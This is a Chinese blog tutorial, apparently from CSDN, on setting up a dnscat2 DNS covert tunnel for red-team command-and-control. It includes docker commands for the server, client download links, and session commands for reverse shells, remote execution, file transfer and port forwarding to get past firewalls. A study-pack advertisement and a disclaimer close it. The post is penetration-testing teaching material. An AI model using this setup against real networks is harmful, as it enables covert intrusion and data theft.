写在前面
在网络安全攻防演练中,往往存在着安全策略严格的内网环境,常见的C&C通信端口会被众多安全设备所监控,当测试过程中对目标内网终端进行渗透测试时发现该网段只允许白名单流量出站,屏蔽了其他端口的流量,那么此时传统的C&C通信就无法建立。
在这样的情况下,红队人员还有一种选择,使用DNS隐蔽隧道建立通信。
dnscat2隧道搭建
安装起来老费劲了,mac kali都试了,mac是brew upgrade以后搞得python环境崩了,费好大劲谷歌修好了。
最后还是没安好,kali是ruby版本本身的问题,我kali是最新版kali就是2020.3的。
没办法:最后拉的docker
命令:
docker pull arno0x0x/dnscat2
docker跑起来 ,这里没买域名,就用无域名dnscat语法
docker run --rm -ti --privileged -p 53:53/udp -e DOMAIN_NAME="localhost" --name dnscat2 arno0x0x/dnscat2
跑起来以后,自动就开始服务端运行了,注意运行成功以后会返回语句。
这里会返回出你的客户端连接语句,直接粘贴到shell里执行即可,当然需要你先上传dnscat2文件包,里面有编译好的客户端。
然后再进行客户端
我这里在kali里面操作的
客户端连上后,会提示:Session established!这里建立连接后,服务端会回显如下。
那么到这一步,这个dns连接就建立成功了
然后就可以利用这个dns隧道了
而服务端的控制台输入:windows,即可以看到一个客户端上线:
服务端的命令,和msf框架类似,也是采用sessions方式进行会话管理想要退出一个会话,直接ctrl+zquit (退出控制台)kill <id> (中断通道)set(设值,比如设置security=open)windows(列举出所有的通道)window -i <id>(连接某个通道)
假如是windows主机客户端想上线
https://downloads.skullsecurity.org/dnscat2/
到上面这个网站下载对应编译好的客户端,也就是exe
测试发现 exe的这个dnscat客户端很不稳定,动不动就卡死,客户端卡死
当然推荐使用powershellhttps://github.com/lukebaggett/dnscat2-powershell
执行方式详见自述文档
当然进入特定的session后,执行help命令,可以发现dnscat2支持的session内命令,也是最关键的部分
clear:(清屏)
delay:(修改远程会话超时时间)
exec:(执行远程机上的程序)
shell:(得到一个反弹shell,可以执行命令)
download/upload:(两端之间上传下载文件)
supen:(返回到上一层,等于快捷键ctrl+z)
listen:类似于SSH隧道的-L参数(本地转发)语法:listen 0.0.0.0:53 192.168.1.1:3389
kill id:切断通道
windows列举所有通道
windows -i id :连接某个通道
总结
经过试验,发现dnscat2端口转发功能还是很方便的,主要就是用于隐匿流量,反弹shell,运用DNS隐蔽通道过防火墙。
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取
读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)
同时每个成长路线对应的板块都有配套的视频提供:
大厂面试题
视频配套资料&国内外网安书籍、文档
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~
读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)
特别声明:
此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。